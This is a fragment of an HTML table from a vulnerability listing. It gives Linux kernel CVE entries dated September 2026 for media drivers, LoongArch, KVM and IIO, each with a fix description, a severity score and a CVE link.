&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: ti: vpe: quiesce overflow recovery before freeing streams The VIP overflow recovery worker is armed from the hardirq handler when a FIFO overflow is detected, and the list-complete path looks the stream up through the VPDMA list private pointer. Both keep touching stream, port and device state; the recovery worker also resets the parser and VPDMA, repopulates the descriptor list, and re-enables the per-list IRQs. vip_stop_streaming() masks and clears the per-list IRQs, but it neither synchronizes the hardirq handler nor disables recovery_work. An overflow IRQ that has already queued recovery_work, or a list-complete IRQ in flight when the stream is torn down, can therefore still dereference the stream after its resources are released: the descriptor list is freed by vip_release_stream() on file release, and the stream itself by free_stream() on unbind/remove. Drain the recovery worker and the IRQ handler at both teardown points through a shared vip_quiesce_stream() helper, before any stream-owned resource is released. disable_work_sync() cancels pending recovery_work, drains a running instance, and raises its disable depth, so a subsequent schedule_work() issued by a racing IRQ handler is rejected at the workqueue scheduler: recovery_work cannot be requeued after disable_work_sync() takes effect. The worker may still re-enable the per-list IRQs before disable_work_sync() returns; disable_irqs() then masks those sources and synchronize_irq() waits for any in-flight handler that still dereferences stream state. In vip_stop_streaming() the helper runs before the parser is stopped, since a worker drained by disable_work_sync() may re-enable the parser before exiting and would otherwise undo the stop. recovery_work is created disabled and enabled in vip_start_streaming() before IRQs, pairing the enable with the teardown disable across the streaming lifecycle. This issue was found by an in-house static analysis tool and confirmed by manual code review.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89875&quot; target=&quot;_blank&quot;&gt;CVE-2026-89875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: rtl2832_sdr: release URBs and stream buffers on start_streaming() failure rtl2832_sdr_start_streaming() calls rtl2832_sdr_alloc_stream_bufs(), rtl2832_sdr_alloc_urbs() and rtl2832_sdr_submit_urbs() in sequence and shares a single err: label that only unlocks the mutex and returns. When alloc_urbs() succeeds but submit_urbs() fails, or when alloc_urbs() itself returns -ENOMEM after alloc_stream_bufs() has already succeeded, the URBs and/or the coherent DMA stream buffers stay allocated while streaming reports failure to vb2. Two latent defects follow on the next VIDIOC_STREAMON: 1) rtl2832_sdr_alloc_stream_bufs() unconditionally resets dev-&amp;gt;buf_num to 0 and overwrites dev-&amp;gt;buf_list[]/dev-&amp;gt;dma_addr[], permanently leaking the coherent DMA memory allocated by the previous attempt. 2) rtl2832_sdr_alloc_urbs() never resets dev-&amp;gt;urbs_initialized and only increments it. After a second successful pass urbs_initialized can exceed MAX_BULK_BUFS, so the subsequent rtl2832_sdr_free_urbs() walks from urbs_initialized - 1 down to 0 and reads past the end of dev-&amp;gt;urb_list[], passing garbage pointers to usb_free_urb(). Mirror the teardown that stop_streaming() already performs: on the error path call rtl2832_sdr_free_urbs() and rtl2832_sdr_free_stream_bufs() before unlocking. Both helpers are idempotent (free_urbs kills and zeros urbs_initialized; free_stream_bufs is gated on URB_BUF and clears the buf_num counter), so partial-failure paths and the no-allocation paths remain safe. Issue identified by automated review of the INV-003 series at https://sashiko.dev/&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89880&quot; target=&quot;_blank&quot;&gt;CVE-2026-89880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: rkvdec: hevc: guard INTER_REF_PIC_SET_PRED index underflow st_ref_pic_set_prediction() computes the reference RPS index as st_rps_idx - (delta_idx_minus1 + 1) per HEVC spec equation 7-59. Both operands are u8, so when delta_idx_minus1 + 1 exceeds the current index the subtraction wraps and the subsequent array access at calculated_rps_st_sets[ref_rps_idx] reads far out of bounds. A userspace V4L2 client that can open the RKVDEC m2m decoder can submit an EXT_SPS_ST_RPS control with INTER_REF_PIC_SET_PRED set and delta_idx_minus1 crafted to trigger the underflow. Reject the entry early when the reference index would underflow.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89882&quot; target=&quot;_blank&quot;&gt;CVE-2026-89882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: rc: sunxi-cir: Unregister rc device on probe failure After rc_register_device() succeeds, later probe failures must undo the registration with rc_unregister_device(). The current error path jumps to the allocation cleanup label and only calls rc_free_device(), leaving the rc device registration and resources created by rc_register_device() behind. Add a registered-device unwind label for the IRQ lookup, IRQ request, and hardware initialization failure paths. Keep rc_free_device() for failures before rc_register_device() succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89883&quot; target=&quot;_blank&quot;&gt;CVE-2026-89883&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: i2c: ov7740: fix use-after-destroy in remove The ov7740_remove() function had a severe teardown order bug where it destroyed the driver&#039;s mutex before freeing the V4L2 control handler which relies on that mutex, leading to a use-after-destroy kernel panic. Furthermore, the driver explicitly called v4l2_ctrl_handler_free() and mutex_destroy() sequentially, but then called ov7740_free_controls() which invokes both of them a second time, resulting in a double-free. This patch fixes the issue by unregistering the subdevice first, and relying exclusively on ov7740_free_controls() to safely tear down the mutex and control handler in the correct order.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89887&quot; target=&quot;_blank&quot;&gt;CVE-2026-89887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: i2c: ov02a10: fix endpoint parsing use-after-free The ov02a10_check_hwcfg() function calls fwnode_handle_put(ep) immediately after allocating and parsing the endpoint. However, it subsequently calls fwnode_property_read_u32() using the same &#039;ep&#039; handle, leading to a potential use-after-free. Additionally, reading the optional &#039;ovti,mipi-clock-voltage&#039; property used to overwrite the &#039;ret&#039; variable. If the property was missing, &#039;ret&#039; would become negative, and this failure code would be incorrectly returned at the end of the function, causing probe to fail entirely. Fix the use-after-free by moving fwnode_property_read_u32() before the endpoint is parsed and freed. Avoid the error leak by not assigning the result of fwnode_property_read_u32() to &#039;ret&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89888&quot; target=&quot;_blank&quot;&gt;CVE-2026-89888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: go7007: defer the ALSA v4l2 put until card release go7007_snd_init() already takes a v4l2_device reference for the ALSA side, but go7007_snd_remove() drops it immediately after calling snd_card_free_when_closed(). That is too early when a userspace process still has the capture PCM open. The ALSA card and its PCM callbacks remain alive until the last file is closed, so the release path can still reach struct go7007 through pcm-&amp;gt;private_data and call go7007_snd_hw_free() after the V4L2 release path has freed the object. Move the matching v4l2_device_put() to the ALSA card private_free callback so the existing ALSA reference covers the whole deferred card lifetime.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89890&quot; target=&quot;_blank&quot;&gt;CVE-2026-89890&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cx23885: cancel NetUP CI work before teardown netup_ci_exit() frees a netup_ci_state while its work item, netup_read_ci_status(), may still be pending or running on the system workqueue. The worker obtains the state with container_of() and dereferences it, so it must not outlive the state. netup_ci_init() queues the initial status read, and CI GPIO interrupts subsequently queue the same work from netup_ci_slot_status(). During remove, cx23885_finidev() calls free_irq() before the CI device is unregistered. free_irq() prevents further IRQ handlers from running, but does not drain work queued previously, so the worker can run after netup_ci_exit() frees the state. Call cancel_work_sync() before dvb_ca_en50221_release() and kfree(). This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89893&quot; target=&quot;_blank&quot;&gt;CVE-2026-89893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cx231xx: reject geometry changes while the VBI queue is busy vidioc_s_fmt_vid_cap() and vidioc_s_std() change the device-wide dev-&amp;gt;width / dev-&amp;gt;norm but only refuse the change when the *video* queue (dev-&amp;gt;vidq) is busy. The VBI queue (dev-&amp;gt;vbiq) shares that same geometry: cx231xx_init_vbi_isoc() latches dma_q-&amp;gt;lines_per_field from dev-&amp;gt;norm, the VBI videobuf2 plane is sized from dev-&amp;gt;width / dev-&amp;gt;norm in vbi_queue_setup() and vbi_buf_prepare(), and cx231xx_do_vbi_copy() then recomputes the destination offset from the *live* dev-&amp;gt;width and the latched lines_per_field on every URB completion: offset = lines_completed * (dev-&amp;gt;width &amp;lt;&amp;lt; 1) + ...; if (dma_q-&amp;gt;current_field == 2) offset += dev-&amp;gt;width * 2 * dma_q-&amp;gt;lines_per_field; memcpy(plane + offset, p_buffer, lencopy); Because the VBI node shares video_ioctl_ops with the video node, an application can size a small VBI plane (REQBUFS/QBUF with a small width, or with the NTSC standard), then enlarge dev-&amp;gt;width (or switch dev-&amp;gt;norm to PAL) through the video node while the VBI stream is running -- the change is allowed because only dev-&amp;gt;vidq is checked -- and let the device deliver a field-2 VBI payload. cx231xx_do_vbi_copy() now computes the offset with the larger geometry and memcpy()s past the end of the smaller plane that was already allocated, a heap out-of-bounds write whose offset is attacker-chosen and whose contents come from the device. The per-field guard in cx231xx_copy_vbi_line() does not help: it bounds the copy against the latched lines_per_field, not the plane&#039;s real capacity, and vb2 does not re-run buf_prepare() for an already prepared buffer. Refuse the format/standard change when the VBI queue is busy as well, so the geometry cannot change underneath an allocated VBI buffer.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89894&quot; target=&quot;_blank&quot;&gt;CVE-2026-89894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cec: Serialize exclusive follower delivery cec_receive_notify() reads the exclusive follower pointer without the adapter lock. Serialize the no-follower check and message delivery against mode changes and release.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89897&quot; target=&quot;_blank&quot;&gt;CVE-2026-89897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: cec: disable delayed work before freeing an interrupted transmit cec_transmit_msg_fh() drops adap-&amp;gt;lock to wait for a blocking transmit in wait_for_completion_killable(). If that wait is interrupted by a signal, cancel_delayed_work_sync() can run before the CEC kthread arms the reply timeout via schedule_delayed_work(&amp;amp;data-&amp;gt;work) in cec_transmit_done_ts(). The work is then armed after the cancel, and the data is freed with its delayed_work still pending: ODEBUG: free active (active state 0) object: ... hint: cec_wait_timeout Use disable_delayed_work_sync(): it cancels the work and disables it, so the later schedule_delayed_work() becomes a no-op and the work cannot be re-armed. The data is freed right after, so it need not be re-enabled.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89899&quot; target=&quot;_blank&quot;&gt;CVE-2026-89899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: Avoid preempt count underflow without probe LoongArch uses break 11 for the breakpoint placed after an instruction that Kprobes executes out of line. Since userspace can issue the same break instruction, do_bp() can reach kprobe_singlestep_handler() when there is no current probe. The handler actually returns false in this case, but it first calls preempt_enable_no_resched(). The corresponding preempt_disable() is done by kprobe_breakpoint_handler() on a real Kprobe hit, so it has not run here. As a result, an ordinary userspace breakpoint (code 11) underflows the current task&#039;s preempt count. This also makes in_interrupt() return true until the task schedules. One visible consequence is the socket cgroup attribution: cgroup_sk_alloc() treats the allocation as interrupt context and assigns the socket to the root cgroup. A socket opened from the SIGTRAP handler can then avoid a BPF_CGROUP_INET_SOCK_CREATE policy attached to the task&#039;s own cgroup. Return as soon as kprobe_running() reports no active probe. The same check has appeared in [PATCH v10 2/4] of the original LoongArch Kprobes series, but was dropped before the feature reached mainline.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89902&quot; target=&quot;_blank&quot;&gt;CVE-2026-89902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: Do not save/restore percpu base register in rethook trampoline The rethook trampoline saves $r21 ($u0), the percpu base, into its frame at entry and restores it at exit. Inbetween rethook_trampoline_handler() may schedule via preempt_enable_notrace(). If the task migrates to another CPU, the frame&#039;s $r21 holds the old CPU&#039;s percpu base, and restoring it poisons $r21 on the new CPU. Until the next user-&amp;gt;kernel transition heals $r21, all this_cpu_*() accesses (runqueues, RCU per-CPU data, timer tick programming, FPU ownership) hit the wrong CPU&#039;s percpu area. Under kretprobe-heavy preemptible load this can corrupt scheduler and timer state: scheduling-while-atomic splats, wrong-CPU RCU warnings, WARN_ON_ONCE(rq != this_rq()) in nohz_balance_exit_idle(), and CPUs parking in the idle loop with the constant timer never re-armed (hard lockup). Reproduces on a Loongson-3A6000 with kretprobes on VFS paths plus heavy file churn (OS install / unsquashfs). By convention $r21 always holds the current CPU&#039;s percpu base in kernel mode: SAVE_SOME() at exception entry reloads it only when coming from user mode, and RESTORE_SOME() restores it only when returning to user mode; the context-switch path never writes it. Therefore the live $r21 at trampoline exit is already correct, and nothing inbetween can change it legitimately (kernel C code cannot write a global register variable). The same flaw existed even in the pre-rethook kretprobe trampoline since v6.3; it was carried over when rethook replaced it. Drop both the save and the restore here. Drop the restore is enough to solve the issue, and drop the save is to keep the code tidy and no need to clear it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89903&quot; target=&quot;_blank&quot;&gt;CVE-2026-89903&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Refactor jump offset calculation in tail call The old macro-based jmp_offset calculation derives the jump distance from a stale prior-pass code stride, which can lead to wrong branch offsets and soft lockups under extra JIT passes. Fix this by calculating the offset directly on the absolute target: &quot;ctx-&amp;gt;offset[insn + 1] - ctx-&amp;gt;idx&quot;. To avoid a false 16-bit range check abort during size estimation, add a &quot;ctx-&amp;gt;image == NULL&quot; guard to inject a safe dummy offset.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89906&quot; target=&quot;_blank&quot;&gt;CVE-2026-89906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Fix uninitialized stack variable issue with dmsintc Variable vector[] is declared on stack in function dmsintc_inject_irq() and sometimes it is used without initialized. Here fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89910&quot; target=&quot;_blank&quot;&gt;CVE-2026-89910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Correctly cap TLBI Range to the architural limit TLB Invalidation by Range has a fairly powerful way of encoding pretty large ranges in a small number of bits. This range can be based on an arbitrary VA, which means it is pretty easy for a guest to generate an overflow should the hypervisor be naive enough to add the range to the base... Make sure the range is capped to the limit dictated by the address bit that determines the VA range. For an IPA invalidation, this is further corrected down the line to ignore the upper range.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89911&quot; target=&quot;_blank&quot;&gt;CVE-2026-89911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: vgic-its: Don&#039;t dereference a NULL collection on ITT save MAPC with V=0 drops ite-&amp;gt;collection but leaves the ITE on the device&#039;s ITT list, and vgic_its_save_ite() dereferences it unconditionally. A guest that issues MAPD, MAPTI and then MAPC(V=0) therefore oopses the host when the VMM issues KVM_DEV_ARM_ITS_SAVE_TABLES to migrate it. That sequence is UNPREDICTABLE per the architecture, but KVM already handles the resulting state in the translate, MOVI and DISCARD paths. Save a zeroed entry, which vgic_its_restore_ite() reads back as invalid. Skipping the ITE instead would leave the ITT slot holding whatever is in guest memory, and restore rejects an entry naming a collection the restored collection table does not have.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89912&quot; target=&quot;_blank&quot;&gt;CVE-2026-89912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: keyop: use mmu_lock to read gmap-&amp;gt;asce Every other dat_* consumer in this file (kvm_s390_get_skeys, set_skeys, get_cmma_bits, set_cmma_bits, MEM_CLR_CMMA, kvm_s390_fixup_prefix, kvm_test_age_gfn, kvm_age_gfn) reads kvm-&amp;gt;arch.gmap-&amp;gt;asce *inside* the mmu_lock read-side. keyop is the only outlier. gmap-&amp;gt;asce is mutated under write_lock(mmu_lock) by gmap_set_limit() and keyop might use a stale asce value for walking as KVM_S390_KEYOP and KVM_S390_VM_MEM_LIMIT_SIZE can run concurrently. This can result in memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89919&quot; target=&quot;_blank&quot;&gt;CVE-2026-89919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix memory corruption by not reinjecting CK machine checks Channel-subsystem damage machine checks are for the host channel subsystem. The guest channel subsystem is emulated in the userspace VMM. There is no point in forwarding such machine checks into the guest. This also simplifies the machine check reinjection and avoids kfree of a stack variable as reported by sashiko. There might be still machine checks that have the ck bit set with another bit (like instruction damage), mask out the CK bit in s390_backup_mcck_info(), like the CP and ED bits already are.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89920&quot; target=&quot;_blank&quot;&gt;CVE-2026-89920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Take srcu when importing watchpoint data __import_wp_info() backs up the original guest memory contents of a watchpoint with read_guest_abs(), which is kvm_read_guest() and therefore resolves the memslot via __kvm_memslots(). That requires kvm-&amp;gt;srcu (or kvm-&amp;gt;slots_lock) to be held, otherwise a concurrent memslot update can free the memslots array under us once its SRCU grace period has elapsed. As this is not fast path, following lock ordering (mutex first, then srcu) take the big hammer and hold the srcu for the full import.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89922&quot; target=&quot;_blank&quot;&gt;CVE-2026-89922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: KVM: x86: hyper-v: Clamp stimer deadline to avoid livelock Fix an issue where userspace or the guest can program an Hyper-V synthetic timer to have a deadline in the past via integer overflow, preventing the CPU from making progress and triggering an RCU stall. Hyper-V&#039;s SynIC exposes 4 per-vCPU synthetic timers to the guest, which are emulated by KVM. Each is programmed through the HV_X64_MSR_STIMERi_CONFIG and HV_X64_MSR_STIMERi_COUNT MSRs. Depending on CONFIG, COUNT represents either the absolute expiration time or the period of a periodic timer, both expressed in 100ns ticks. These timers may be set both by the guest (WRMSR) and the host (KVM_SET_MSRS). When the timer is enabled, stimer_start() translates COUNT to an absolute monotonic deadline and arms an hrtimer. If COUNT is set to a value close to U64_MAX, the deadline calculation can overflow. ktime_add_ns(ktime_now, 100 * (stimer-&amp;gt;exp_time - time_now)) This can result in a CPU livelock. stimer_start() arms the timer via hrtimer_start() with a deadline in the past, which causes it to immediately fire. The stimer callback then raises KVM_RQ_HV_STIMER, with the intention of causing KVM to deliver a synthetic interrupt on the next vCPU guest enter. Then, once userspace issues KVM_RUN, vcpu_enter_guest() consumes the request, calling kvm_hv_process_stimers(). This would normally disable the timer via stimer_expiration() once the deadline is in the past. However, the deadline comparison is done between the KVM reference counter and stime-&amp;gt;exp_time, which is a big value close to U64_MAX, so this never happens for a few thousand years. kvm_hv_process_timers() then re-arms the timer via stimer_start(), since it was not disabled, which again fires immediately. Before entering the guest, kvm_vcpu_exit_request() checks kvm_request_pending(), which returns true due to the newly raised KVM_REQ_HV_STIMER. Then vcpu_enter_guest() aborts the guest entry, returning early into vcpu_run(), which loops back again into vcpu_enter_guest(), restarting the cycle. Since there are no manual yields in this loop, a task with SCHED_FIFO may starve RCU grace-period kthreads, which exposes the stalls found by syzcaller: rcu: INFO: rcu_preempt detected stalls on CPUs/tasks: rcu: (detected by 1, t=10502 jiffies, g=14269, q=1142 ncpus=2) rcu: All QSes seen, last rcu_preempt kthread activity 10500 (4294965239-4294954739), jiffies_till_next_fqs=1, root -&amp;gt;qsmask 0x0 rcu: rcu_preempt kthread starved for 10500 jiffies! g14269 f0x2 RCU_GP_WAIT_FQS(5) -&amp;gt;state=0x0 -&amp;gt;cpu=0 rcu: Unless rcu_preempt kthread gets sufficient CPU time, OOM is now expected behavior. ( ... ) Call Trace: &amp;lt;IRQ&amp;gt; __run_hrtimer kernel/time/hrtimer.c:1773 [inline] __hrtimer_run_queues+0x408/0xc30 kernel/time/hrtimer.c:1841 hrtimer_interrupt+0x45b/0xaa0 kernel/time/hrtimer.c:1903 local_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1045 [inline] __sysvec_apic_timer_interrupt+0x102/0x3e0 arch/x86/kernel/apic/apic.c:1062 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline] sysvec_apic_timer_interrupt+0xa1/0xc0 arch/x86/kernel/apic/apic.c:1056 &amp;lt;/IRQ&amp;gt; &amp;lt;TASK&amp;gt; asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697 RIP: 0010:__raw_spin_unlock_irqrestore include/linux/spinlock_api_smp.h:152 [inline] RIP: 0010:_raw_spin_unlock_irqrestore+0xa8/0x110 kernel/locking/spinlock.c:194 Code: 74 05 e8 0b f4 5f f6 48 c7 44 24 20 00 00 00 00 9c 8f 44 24 20 f6 44 24 21 02 75 4f f7 c3 00 02 00 00 74 01 fb bf 01 00 00 00 &amp;lt;e8&amp;gt; 23 6b 27 f6 65 8b 05 7c 60 5a 07 85 c0 74 40 48 c7 04 24 0e 36 RSP: 0018:ffffc900040a7320 EFLAGS: 00000206 RAX: 5de15cb931505900 RBX: 0000000000000a06 RCX: 5de15cb931505900 RDX: 0000000000000007 RSI: ffffffff8daa9dc3 RDI: 0000000000000001 RBP: ffffc900040a73b0 R08: ffffffff8fc3d0 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89927&quot; target=&quot;_blank&quot;&gt;CVE-2026-89927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: chemical: atlas-sensor: use iio_trigger_poll_nested() to fix remove UAF The atlas driver requests its hardware data-ready IRQ with devm_request_threaded_irq(); its threaded handler queues an irq_work, atlas_work_handler(), that calls iio_trigger_poll(data-&amp;gt;trig). The IRQ is devm-managed, so free_irq() runs from the devres unwind after atlas_remove() returns without flushing that irq_work. Once a buffer is enabled, conversion-complete IRQs keep firing and queueing it; a pending irq_work can therefore run after the unwind has freed atlas_data/indio_dev and the trigger, when atlas_work_handler() derives the atlas_data pointer via container_of() and dereferences data-&amp;gt;trig, a use-after-free. Call iio_trigger_poll_nested() directly from the threaded handler instead of bouncing through irq_work. free_irq() then drains the threaded handler, closing the window; other iio drivers with a threaded data-ready IRQ do the same (e.g. bmi270). This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89938&quot; target=&quot;_blank&quot;&gt;CVE-2026-89938&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: buffer: Tie IIO dma fence lock lifetime to the fence The `iio_dma_fence` implementation currently uses a lock embedded in the `iio_dmabuf_priv`. But the `iio_dma_fence` can outlive the `iio_dmabuf_priv`, which can cause a use-after-free. Tie the lifetime of the lock to the lifetime of the fence by embedding them in the same struct. We can&#039;t just hold a reference to the `iio_dmabuf_priv` from the `iio_dma_fence` since `iio_buffer_dmabuf_release()` might sleep and the fence release callback is not allowed to sleep. Note that the `dma_fence` framework now has an internal lock that gets used when the passing `NULL` for `lock` in `dma_fence_init()`, but in order to allow this patch to be backportable use an external lock.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
